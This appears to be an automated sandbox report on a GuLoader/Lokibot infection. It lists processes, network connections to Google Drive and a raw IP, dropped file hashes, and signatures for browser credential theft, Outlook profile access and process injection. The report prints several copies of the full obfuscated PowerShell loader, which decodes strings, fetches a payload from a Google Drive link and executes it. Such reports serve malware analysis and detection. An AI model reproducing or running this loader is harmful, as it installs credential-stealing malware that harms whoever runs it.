');$Steckling=$Karaktergivningernes[0];$Eliters= (Scrapling 'Bigot$Uvi lGU.rivlChalaOBnderBSk teACanooldiplo: rken spunASanitTTonaltHeadcEMusher JikuGBnnebAReneglFrost=De.rinCreopeCri iwTenn -DeklaOUnjudB SoleJ U laELongpCPickaT Forf Frem,SAr ivyAnti,s.dtraT rrlieKni emHisto. GeneNKamereJimmyTUngra.ZlotyW rspiEKalasBUn erC udvalDiveriB onteSivs.NHa lot');$Eliters+=$Snorksov[1];Revuists ($Eliters);Revuists (Scrapling ' Fusu$EneinNmultiaTaxertRepantUlykkeM sunrAmel,gB rtva KystlUnlau.Sou hHHungeeLighta edsadSiddeeTilkrryder,s Cryp[Freda$SystoRHa,nde uhrspsagfrroniomsPolybeJaculnT,taqtUnmetaBus ut Canai ThymoSummenGausssoutstuUndisdMoiergTermiical if ndetSukreeSpa irmansusUncon]Simul=Secks$M kesSMidmouLe copMaltap acedlCeltii Skova PreanSa sdtL wnmsSkill ');$Cathedrals80=Scrapling ' Kine$A desNMus iaDayfltCo patb soueFlg,lrGreasgdata aDiscilKatte.AfcheD ,ubbo ProdwLooi nPoindl Chroo Co ta.onfadAb asF iwiriUntralBr neePachy(Kong.$ .oleS SkogtNo mueV ldsc BrinkPemollIntexiBevesn enzogudarm,.econ$ quatP heliiChapacVrn.esPropo)Desti ';$Pics=$Snorksov[0];Revuists (Scrapling 'Snyde$negliGSg,rfL ,oflO nopBhimmeaV tiaLens,e:Progrq,onbuuA umieUnobuE submvNegerEFugle=Overf(trolltNrhedEind aSKrg sTSunla-.verpp StataHeralT,seudhOxyhy Lud o$Absalpar,efI nbecTarteSUnder)Arthr ');while (!$Queeve) {Revuists (Scrapling 'Re,ta$Meirsg UdsplPl,sso TempbDefenaForfalBito.: OverkMidennUrenlsDual ftorbioSirelr BehedResuneDishalT lasiUndern Dem gVictueindler Dart= ungu$S igetW eatrviktou.mendeChrys ') ;Revuists $Cathedrals80;Revuists (Scrapling 'MonocS SpeatBe,rlaS hizrTvedet yras-Reg sS MasklIntanePagsle Ba.apButtr T ste4 blok ');Revuists (Scrapling ' unpr$Pro rgVotisl onpro yrinbSvrgeaFo,sklUdkas:IllesQ KetouFlateeAbende SnubvKursueBoo.e=Bruge(ApeksT .acre,eksksFurortB mbe-CylloP orsyaOpspatSer,ahSeneg Prog $ MitiPOsnabiTr ksc.tudisAtomt)afgan ') ;Revuists (Scrapling 'Ant o$ ,eneg ModtlCranioPle obStartaliniklFeti :SigjnUUngesnHjt ldOverdiun erfK.rnsfSin,cuCerbesKommei Luppv SpekeVindu=Bayer$Gift.gTomhelBrnetoIllumbMarnoaHannelSepti:VolcaB nonvuantiml rieteDomi,rF.dej+Na,te+Toome% onsu$ BrdeKRensnaFemvrroldboa entkPrisgt S jee Ran rYdelsg.ileni harv BathnAdlediK avlnKodnigCyc.oe ArberUn.ven makreKultusIntui.Deporc Snero,yrenuKrydsnh.tlitPtero ') ;$Steckling=$Karaktergivningernes[$Undiffusive];}$Transitternes=293716;$eustacies=28812;Revuists (Scrapling 'Fryns$Westfg hyttl Afpro sonabBarseaE farlUldha: EfteEVedl lUnmyteCryptcrammetCellurDispeoC,ambm .osteAmatrtJacksrRensee paad Conic=No.is TrillGUdenve.ommutKonto- Re.iCTempeoFljtinMarintCol,geAssisn LunatCatn. Rhync$ UndePMat,oiLnforcUdramsBrill ');Revuists (Scrapling 'Kiloe$Sla,egAarellFaraoo,umblbCahilaSyst,lSugek:GreenbTa,uehRe nta ImmuiOxyphaP edacOestrhProleaSa.sbrSkrosaProte Slapp=Fabi Notef[ G anS S ovy ldfus P eetSvvepeFormumSubtr.ReforCConfloLam en SmugvSmigvepolerr R det Ha.r]L sbe:Fg.ek:RockaFSpidsr C rkoUnnummR,tinBlommeaIntersVendeeYie,d6Sprin4 Sam SForv tEmmeirB drviCentrnmatthg epa(Succe$UnivaEAk,ielil.acePaeancUnsactOxymerWrongoFodromChecke eltft HolirE uipefunda)Areal ');Revuists (Scrapling 'Bern $ Debug SmaglKontro SkolbFrot aT xacl stak:CorymSD.punhD mmeoEquippStrikt unoiaAtterl,etask Rhyps owie comm =,verf Kapre[Gr viSKlavey TabesValuttPseude nhimMa nt.DebutTCodiceTredvxAllrotDebar.SnailE HyponUnenacForsioSulaidP,eeli Mattnperfeg .pli]Smyk.:Tasta:IvrayA,lfacSFork CS vebIUnd aIHarem.IntenGLayboePhytot ArbeS ud itUd terAci oi BehonIndsugVeste(Phob.$Caramb Fi mhVascuajorymiI aruaHypsicTilbahUncoma T enrSpiceaNonpe)V kal ');Revuists (Scrapling 'Rgend$UdtalgIn all Kat.oAntenbPloraaNonoclHo,oc:Nul eTs otlrantisaSaddln narsKdli e orslMirs eBred,m efineSaedvn,ugretFla,la Gennt Tkniientosn .urugKavip=Palae$CorncSPit phTolkeoDeprep Gas tLandsaG byrlPr dukRemarsChamo.Joe isUndraupa debRkedasDiadotUdfl r rveliX.nopnHepa gRule.(Fluor$Op,ksT Ste r ReboaH rlanHovedsDo rii creetHypont PasseMicrorUhue.nFremgeUdslasMuseu,Outro$ D syetil kuSdr,esUn ntt Rdn aBo.encBr,nkiAtrocemobnesPeast)O,eng ');Revuists $Transelementating;"
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Fejres.Ind && echo t"
C:\Program Files (x86)\windows mail\wabmig.exe
"C:\Program Files (x86)\windows mail\wabmig.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 149.220.183.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 45.56.20.217.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 73.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | drive.google.com | udp |
| GB | 216.58.201.110:443 | drive.google.com | tcp |
| US | 8.8.8.8:53 | drive.usercontent.google.com | udp |
| GB | 142.250.179.225:443 | drive.usercontent.google.com | tcp |
| US | 8.8.8.8:53 | 110.201.58.216.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 225.179.250.142.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 196.249.167.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 103.169.127.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 15.164.165.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.214.232.199.in-addr.arpa | udp |
| GB | 216.58.201.110:443 | drive.google.com | tcp |
| US | 8.8.8.8:53 | c.pki.goog | udp |
| GB | 142.250.179.227:80 | c.pki.goog | tcp |
| US | 8.8.8.8:53 | o.pki.goog | udp |
| GB | 142.250.179.227:80 | o.pki.goog | tcp |
| GB | 142.250.179.225:443 | drive.usercontent.google.com | tcp |
| US | 8.8.8.8:53 | 227.179.250.142.in-addr.arpa | udp |
| US | 137.184.191.215:80 | 137.184.191.215 | tcp |
| US | 8.8.8.8:53 | 215.191.184.137.in-addr.arpa | udp |
| US | 137.184.191.215:80 | 137.184.191.215 | tcp |
| US | 137.184.191.215:80 | 137.184.191.215 | tcp |
| US | 8.8.8.8:53 | 13.227.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
| US | 137.184.191.215:80 | 137.184.191.215 | tcp |
| US | 8.8.8.8:53 | 9.179.89.13.in-addr.arpa | udp |
Files
memory/2684-0-0x00007FFDA4273000-0x00007FFDA4275000-memory.dmp
memory/2684-10-0x0000021FF6510000-0x0000021FF6532000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cltnb5n3.cfu.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/2684-11-0x00007FFDA4270000-0x00007FFDA4D31000-memory.dmp
memory/2684-12-0x00007FFDA4270000-0x00007FFDA4D31000-memory.dmp
memory/2684-14-0x00007FFDA4273000-0x00007FFDA4275000-memory.dmp
memory/2684-15-0x00007FFDA4270000-0x00007FFDA4D31000-memory.dmp
memory/2684-17-0x00007FFDA4270000-0x00007FFDA4D31000-memory.dmp
memory/3020-18-0x0000000002350000-0x0000000002386000-memory.dmp
memory/3020-19-0x0000000004D50000-0x0000000005378000-memory.dmp
memory/3020-20-0x0000000004C60000-0x0000000004C82000-memory.dmp
memory/3020-21-0x0000000005380000-0x00000000053E6000-memory.dmp
memory/3020-22-0x00000000053F0000-0x0000000005456000-memory.dmp
memory/3020-32-0x00000000054E0000-0x0000000005834000-memory.dmp
memory/3020-33-0x0000000005B30000-0x0000000005B4E000-memory.dmp
memory/3020-34-0x0000000005B70000-0x0000000005BBC000-memory.dmp
memory/3020-35-0x0000000007370000-0x00000000079EA000-memory.dmp
memory/3020-36-0x00000000060E0000-0x00000000060FA000-memory.dmp
memory/3020-37-0x0000000006DD0000-0x0000000006E66000-memory.dmp
memory/3020-38-0x0000000006D60000-0x0000000006D82000-memory.dmp
memory/3020-39-0x0000000007FA0000-0x0000000008544000-memory.dmp
C:\Users\Admin\AppData\Roaming\Fejres.Ind
| MD5 | 14838f971ce22130c51b9a7cc01b590a |
| SHA1 | e368099b26f7b1778b784f1057daee1ac1f0dcd8 |
| SHA256 | c1efeb9e13bff5882769c4e721442b24c3206ddaea1999fa9558826ed50d3373 |
| SHA512 | 1abf7ed094e78126fbb206ca1ad54e4cc0a902bdfb5de270f75087ca5052696aa6f1232b2386ae5bf74f352a5f586043deae67f2561a1baf76d9796c2e044026 |
memory/3020-41-0x0000000008550000-0x000000000B7A7000-memory.dmp
memory/2684-42-0x00007FFDA4270000-0x00007FFDA4D31000-memory.dmp
memory/4952-43-0x0000000000A10000-0x0000000003C67000-memory.dmp
memory/4952-57-0x0000000000A10000-0x0000000003C67000-memory.dmp
memory/2684-61-0x00007FFDA4270000-0x00007FFDA4D31000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2170637797-568393320-3232933035-1000\0f5007522459c86e95ffcc62f32308f1_76278eb0-9988-43b4-9423-af5897ebbcb4
| MD5 | d898504a722bff1524134c6ab6a5eaa5 |
| SHA1 | e0fdc90c2ca2a0219c99d2758e68c18875a3e11e |
| SHA256 | 878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9 |
| SHA512 | 26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61 |
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2170637797-568393320-3232933035-1000\0f5007522459c86e95ffcc62f32308f1_76278eb0-9988-43b4-9423-af5897ebbcb4
| MD5 | c07225d4e7d01d31042965f048728a0a |
| SHA1 | 69d70b340fd9f44c89adb9a2278df84faa9906b7 |
| SHA256 | 8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a |
| SHA512 | 23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b |
Analysis: behavioral1
Detonation Overview
Submitted
2024-09-17 01:13
Reported
2024-09-17 01:15
Platform
win7-20240903-en
Max time kernel
144s
Max time network
119s
Command Line
Signatures
Guloader,Cloudeye
Lokibot
Credentials from Password Stores: Credentials from Web Browsers
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Accesses Microsoft Outlook profiles
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
Legitimate hosting services abused for malware hosting/C2
| Description | Indicator | Process | Target |
| N/A | drive.google.com | N/A | N/A |
| N/A | drive.google.com | N/A | N/A |
| N/A | drive.google.com | N/A | N/A |
Suspicious use of NtCreateThreadExHideFromDebugger
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
Suspicious use of NtSetInformationThreadHideFromDebugger
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 3068 set thread context of 3032 | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | C:\Program Files (x86)\windows mail\wabmig.exe |
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
Suspicious behavior: CmdExeWriteProcessMemorySpam
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: MapViewOfSection
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
Suspicious use of WriteProcessMemory
outlook_office_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
outlook_win_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\5b2e29dbe690dc12e02e83841bd0f17faf05927644495021cc04a8d0b690b0a7.vbs"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Falsemaskinerne tapester Contorting programhukommelsen Regningsarts Fabled Nittet #>;$Awnings='Kyrielle';<#Semicordated Grnskollingen Rekommander Misentries Kongedoemmer Underudvalgs #>;$grapewort=$host.PrivateData;If ($grapewort) {$Kommunikooers++;}function Scrapling($Limnoriidae68){$Spontane=$Limnoriidae68.Length-$Kommunikooers;for( $Outbacks231=5;$Outbacks231 -lt $Spontane;$Outbacks231+=6){$Systematisation+=$Limnoriidae68[$Outbacks231];}$Systematisation;}function Revuists($Nonillionth){ . ($Zygomas) ($Nonillionth);}$Suppliants=Scrapling 'SgereMkukkeoLounszJuri,if,uebl Littl Su.saWiren/Bortk5Waste.Raast0 Mrke Hand(E copW Ultri aintn Tri dSv,neoSkolew Risfs Ansv UnpenN CrumT Hier Plot1Besta0 Aqua.Slvtj0 int;Milli ConfeWAf,ydi Nym nForti6Bas,e4Snees;Brsmg Fa stxHaver6Gigan4indst; Amyl ToivorHjemmv Mali:Nonme1 Un e2Dreve1Fumig. Fond0Opstt)Forma L.rmG ChmseNonsecDagslkAsepsoR.tio/Di ta2Archc0 Pist1 Made0,abla0Loofi1 olan0Traad1.lott Torn,FMariniFo,jarDeamiePolitfOskaroAnkelxWeapo/ Doit1Orien2Unmod1Fuldb.R dto0 Tale ';$Reprsentationsudgifters=Scrapling ' Re,aUAustrS tuffE spirrAsser-HalveAT.iarG RazoESpiroN Pr oTCoelo ';$Steckling=Scrapling 'HumanhDebtot IncrtAtticpGolfesOpht,:Nonp./Parti/MoorhdVandlrModifi Da.pvProfeeErneq.CerebghvlspoKanaroBagg,g KontlTalloeBas a.Descecoverto DocemPract/ SpecuSlagtcDerma?ReinceHognuxSidespbuggeo pl tr AhortAflan=CarpidSmearoKommiwAb trnPennelWondioMeinea Ti,bdgrube& Ske.iS,anddTorme=Konfe1 Out,vPampe9StopfUom etjBegivQUnclebAgon YN nsuJ Emot-GesanmUddunLB nzeFH rmo9S,lgsMFrakouKon rG listKHasleyUn,eciVejrbwStolpoOrd aw,oedb6Ha.ertModfo3YeplyRAnthrp RemausammeiChato2MidweBkli.euFork ';$Outbacks231lloyalitets119=Scrapling 'Babbo>Clubs ';$Zygomas=Scrapling 'Stje,I CoalEDown.xP eti ';$Piezoelectric='oplggendes';$Droned = Scrapling ' Ste eUnd rc DemohDeveloFlipo Spalt%SlvedaCemenpUnrempSubasdWhi,ka otemtD,sora unre%Svr e\Bi stFEkstre ArtijH nnerFlodheFlyvesS orm. Gri,I BagmndrsprdA vis B,str&Retsf&danne TredveThyrocSmoldh car.oSlagt ForktS.eat ';Revuists (Scrapling 'Ramed$Alsidgvedr lIldebo.rogrbPal eaPinnilP,rel:SkgtsSdagsrnencruominimrTopgak Cy istale,oProevv Exau=,hyma(UnhoocAbundmbadehd oli Attri/HjrepcArbej Laev$Gra mDTohndrBymidoAnimanI tsteHephadPycno) plor ');Revuists (Scrapling 'Vinke$RumnegN.nsalEsk poDiskrbLa,etaTilbrlSuble:GloriKBigwiaPalatr GangaSenatkNoncotga geeBegr,r S,rmgPolici opdrv TilsnFlerii nonenMuringBitteeSkattrUdkldn ValreC.axys Nonp=Raadi$SpadeSTids.t,ommaeAtemoc ikkekChirolstaudiSulphnSulkagKom.e. FragsUdfoepTorpelSofasi unktt vrdr( Impo$ AmtsO Liteu Su rt overb R,taa BisecAfl vkMi,lis Desy2 Erum3Hamne1 ChaklKommulAdjudo SemiyT kstaOberslDo ekiShuttt,tatseSikketUnsucs Poli1L,nna1Unent9Crous)Gridd ');Revuists (Scrapling 'Thera[MetalNEgotieCondutOcrac.MultiS Lub.e adear Mooav fpatiPneumcHandleGrnsePDsnamo elaiExpianJonost StorM i.traAmmunn Fi maTrbukgP ionePre tr onn]Dipic:Forto:PivalS rimaeAralecOdel u parar Budgi Cr.tt F,deySelvbPUnglarKonveoSeptet RaggoJelv cJensko Troml Retr Sensa=Hippo Ung a[NietzNDe,ece MaletScr t.CoptiSUranie P.oscOve.tuPreporSendeioveratUniniyUncloP StatrNon uoGlinttAnc yoKattecTe neoInterlFlattTSe,uny Overpgilg eranke] Akse:Bogha:EnspnTPostcl.drivsHrgar1hypog2Samoj ');$Steckling=$Karaktergivningernes[0];$Eliters= (Scrapling 'Bigot$Uvi lGU.rivlChalaOBnderBSk teACanooldiplo: rken spunASanitTTonaltHeadcEMusher JikuGBnnebAReneglFrost=De.rinCreopeCri iwTenn -DeklaOUnjudB SoleJ U laELongpCPickaT Forf Frem,SAr ivyAnti,s.dtraT rrlieKni emHisto. GeneNKamereJimmyTUngra.ZlotyW rspiEKalasBUn erC udvalDiveriB onteSivs.NHa lot');$Eliters+=$Snorksov[1];Revuists ($Eliters);Revuists (Scrapling ' Fusu$EneinNmultiaTaxertRepantUlykkeM sunrAmel,gB rtva KystlUnlau.Sou hHHungeeLighta edsadSiddeeTilkrryder,s Cryp[Freda$SystoRHa,nde uhrspsagfrroniomsPolybeJaculnT,taqtUnmetaBus ut Canai ThymoSummenGausssoutstuUndisdMoiergTermiical if ndetSukreeSpa irmansusUncon]Simul=Secks$M kesSMidmouLe copMaltap acedlCeltii Skova PreanSa sdtL wnmsSkill ');$Cathedrals80=Scrapling ' Kine$A desNMus iaDayfltCo patb soueFlg,lrGreasgdata aDiscilKatte.AfcheD ,ubbo ProdwLooi nPoindl Chroo Co ta.onfadAb asF iwiriUntralBr neePachy(Kong.$ .oleS SkogtNo mueV ldsc BrinkPemollIntexiBevesn enzogudarm,.econ$ quatP heliiChapacVrn.esPropo)Desti ';$Pics=$Snorksov[0];Revuists (Scrapling 'Snyde$negliGSg,rfL ,oflO nopBhimmeaV tiaLens,e:Progrq,onbuuA umieUnobuE submvNegerEFugle=Overf(trolltNrhedEind aSKrg sTSunla-.verpp StataHeralT,seudhOxyhy Lud o$Absalpar,efI nbecTarteSUnder)Arthr ');while (!$Queeve) {Revuists (Scrapling 'Re,ta$Meirsg UdsplPl,sso TempbDefenaForfalBito.: OverkMidennUrenlsDual ftorbioSirelr BehedResuneDishalT lasiUndern Dem gVictueindler Dart= ungu$S igetW eatrviktou.mendeChrys ') ;Revuists $Cathedrals80;Revuists (Scrapling 'MonocS SpeatBe,rlaS hizrTvedet yras-Reg sS MasklIntanePagsle Ba.apButtr T ste4 blok ');Revuists (Scrapling ' unpr$Pro rgVotisl onpro yrinbSvrgeaFo,sklUdkas:IllesQ KetouFlateeAbende SnubvKursueBoo.e=Bruge(ApeksT .acre,eksksFurortB mbe-CylloP orsyaOpspatSer,ahSeneg Prog $ MitiPOsnabiTr ksc.tudisAtomt)afgan ') ;Revuists (Scrapling 'Ant o$ ,eneg ModtlCranioPle obStartaliniklFeti :SigjnUUngesnHjt ldOverdiun erfK.rnsfSin,cuCerbesKommei Luppv SpekeVindu=Bayer$Gift.gTomhelBrnetoIllumbMarnoaHannelSepti:VolcaB nonvuantiml rieteDomi,rF.dej+Na,te+Toome% onsu$ BrdeKRensnaFemvrroldboa entkPrisgt S jee Ran rYdelsg.ileni harv BathnAdlediK avlnKodnigCyc.oe ArberUn.ven makreKultusIntui.Deporc Snero,yrenuKrydsnh.tlitPtero ') ;$Steckling=$Karaktergivningernes[$Undiffusive];}$Transitternes=293716;$eustacies=28812;Revuists (Scrapling 'Fryns$Westfg hyttl Afpro sonabBarseaE farlUldha: EfteEVedl lUnmyteCryptcrammetCellurDispeoC,ambm .osteAmatrtJacksrRensee paad Conic=No.is TrillGUdenve.ommutKonto- Re.iCTempeoFljtinMarintCol,geAssisn LunatCatn. Rhync$ UndePMat,oiLnforcUdramsBrill ');Revuists (Scrapling 'Kiloe$Sla,egAarellFaraoo,umblbCahilaSyst,lSugek:GreenbTa,uehRe nta ImmuiOxyphaP edacOestrhProleaSa.sbrSkrosaProte Slapp=Fabi Notef[ G anS S ovy ldfus P eetSvvepeFormumSubtr.ReforCConfloLam en SmugvSmigvepolerr R det Ha.r]L sbe:Fg.ek:RockaFSpidsr C rkoUnnummR,tinBlommeaIntersVendeeYie,d6Sprin4 Sam SForv tEmmeirB drviCentrnmatthg epa(Succe$UnivaEAk,ielil.acePaeancUnsactOxymerWrongoFodromChecke eltft HolirE uipefunda)Areal ');Revuists (Scrapling 'Bern $ Debug SmaglKontro SkolbFrot aT xacl stak:CorymSD.punhD mmeoEquippStrikt unoiaAtterl,etask Rhyps owie comm =,verf Kapre[Gr viSKlavey TabesValuttPseude nhimMa nt.DebutTCodiceTredvxAllrotDebar.SnailE HyponUnenacForsioSulaidP,eeli Mattnperfeg .pli]Smyk.:Tasta:IvrayA,lfacSFork CS vebIUnd aIHarem.IntenGLayboePhytot ArbeS ud itUd terAci oi BehonIndsugVeste(Phob.$Caramb Fi mhVascuajorymiI aruaHypsicTilbahUncoma T enrSpiceaNonpe)V kal ');Revuists (Scrapling 'Rgend$UdtalgIn all Kat.oAntenbPloraaNonoclHo,oc:Nul eTs otlrantisaSaddln narsKdli e orslMirs eBred,m efineSaedvn,ugretFla,la Gennt Tkniientosn .urugKavip=Palae$CorncSPit phTolkeoDeprep Gas tLandsaG byrlPr dukRemarsChamo.Joe isUndraupa debRkedasDiadotUdfl r rveliX.nopnHepa gRule.(Fluor$Op,ksT Ste r ReboaH rlanHovedsDo rii creetHypont PasseMicrorUhue.nFremgeUdslasMuseu,Outro$ D syetil kuSdr,esUn ntt Rdn aBo.encBr,nkiAtrocemobnesPeast)O,eng ');Revuists $Transelementating;"
C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Fejres.Ind && echo t"
C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c ^"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe^" "<#Falsemaskinerne tapester Contorting programhukommelsen Regningsarts Fabled Nittet #>;$Awnings='Kyrielle';<#Semicordated Grnskollingen Rekommander Misentries Kongedoemmer Underudvalgs #>;$grapewort=$host.PrivateData;If ($grapewort) {$Kommunikooers++;}function Scrapling($Limnoriidae68){$Spontane=$Limnoriidae68.Length-$Kommunikooers;for( $Outbacks231=5;$Outbacks231 -lt $Spontane;$Outbacks231+=6){$Systematisation+=$Limnoriidae68[$Outbacks231];}$Systematisation;}function Revuists($Nonillionth){ . ($Zygomas) ($Nonillionth);}$Suppliants=Scrapling 'SgereMkukkeoLounszJuri,if,uebl Littl Su.saWiren/Bortk5Waste.Raast0 Mrke Hand(E copW Ultri aintn Tri dSv,neoSkolew Risfs Ansv UnpenN CrumT Hier Plot1Besta0 Aqua.Slvtj0 int;Milli ConfeWAf,ydi Nym nForti6Bas,e4Snees;Brsmg Fa stxHaver6Gigan4indst; Amyl ToivorHjemmv Mali:Nonme1 Un e2Dreve1Fumig. Fond0Opstt)Forma L.rmG ChmseNonsecDagslkAsepsoR.tio/Di ta2Archc0 Pist1 Made0,abla0Loofi1 olan0Traad1.lott Torn,FMariniFo,jarDeamiePolitfOskaroAnkelxWeapo/ Doit1Orien2Unmod1Fuldb.R dto0 Tale ';$Reprsentationsudgifters=Scrapling ' Re,aUAustrS tuffE spirrAsser-HalveAT.iarG RazoESpiroN Pr oTCoelo ';$Steckling=Scrapling 'HumanhDebtot IncrtAtticpGolfesOpht,:Nonp./Parti/MoorhdVandlrModifi Da.pvProfeeErneq.CerebghvlspoKanaroBagg,g KontlTalloeBas a.Descecoverto DocemPract/ SpecuSlagtcDerma?ReinceHognuxSidespbuggeo pl tr AhortAflan=CarpidSmearoKommiwAb trnPennelWondioMeinea Ti,bdgrube& Ske.iS,anddTorme=Konfe1 Out,vPampe9StopfUom etjBegivQUnclebAgon YN nsuJ Emot-GesanmUddunLB nzeFH rmo9S,lgsMFrakouKon rG listKHasleyUn,eciVejrbwStolpoOrd aw,oedb6Ha.ertModfo3YeplyRAnthrp RemausammeiChato2MidweBkli.euFork ';$Outbacks231lloyalitets119=Scrapling 'Babbo>Clubs ';$Zygomas=Scrapling 'Stje,I CoalEDown.xP eti ';$Piezoelectric='oplggendes';$Droned = Scrapling ' Ste eUnd rc DemohDeveloFlipo Spalt%SlvedaCemenpUnrempSubasdWhi,ka otemtD,sora unre%Svr e\Bi stFEkstre ArtijH nnerFlodheFlyvesS orm. Gri,I BagmndrsprdA vis B,str&Retsf&danne TredveThyrocSmoldh car.oSlagt ForktS.eat ';Revuists (Scrapling 'Ramed$Alsidgvedr lIldebo.rogrbPal eaPinnilP,rel:SkgtsSdagsrnencruominimrTopgak Cy istale,oProevv Exau=,hyma(UnhoocAbundmbadehd oli Attri/HjrepcArbej Laev$Gra mDTohndrBymidoAnimanI tsteHephadPycno) plor ');Revuists (Scrapling 'Vinke$RumnegN.nsalEsk poDiskrbLa,etaTilbrlSuble:GloriKBigwiaPalatr GangaSenatkNoncotga geeBegr,r S,rmgPolici opdrv TilsnFlerii nonenMuringBitteeSkattrUdkldn ValreC.axys Nonp=Raadi$SpadeSTids.t,ommaeAtemoc ikkekChirolstaudiSulphnSulkagKom.e. FragsUdfoepTorpelSofasi unktt vrdr( Impo$ AmtsO Liteu Su rt overb R,taa BisecAfl vkMi,lis Desy2 Erum3Hamne1 ChaklKommulAdjudo SemiyT kstaOberslDo ekiShuttt,tatseSikketUnsucs Poli1L,nna1Unent9Crous)Gridd ');Revuists (Scrapling 'Thera[MetalNEgotieCondutOcrac.MultiS Lub.e adear Mooav fpatiPneumcHandleGrnsePDsnamo elaiExpianJonost StorM i.traAmmunn Fi maTrbukgP ionePre tr onn]Dipic:Forto:PivalS rimaeAralecOdel u parar Budgi Cr.tt 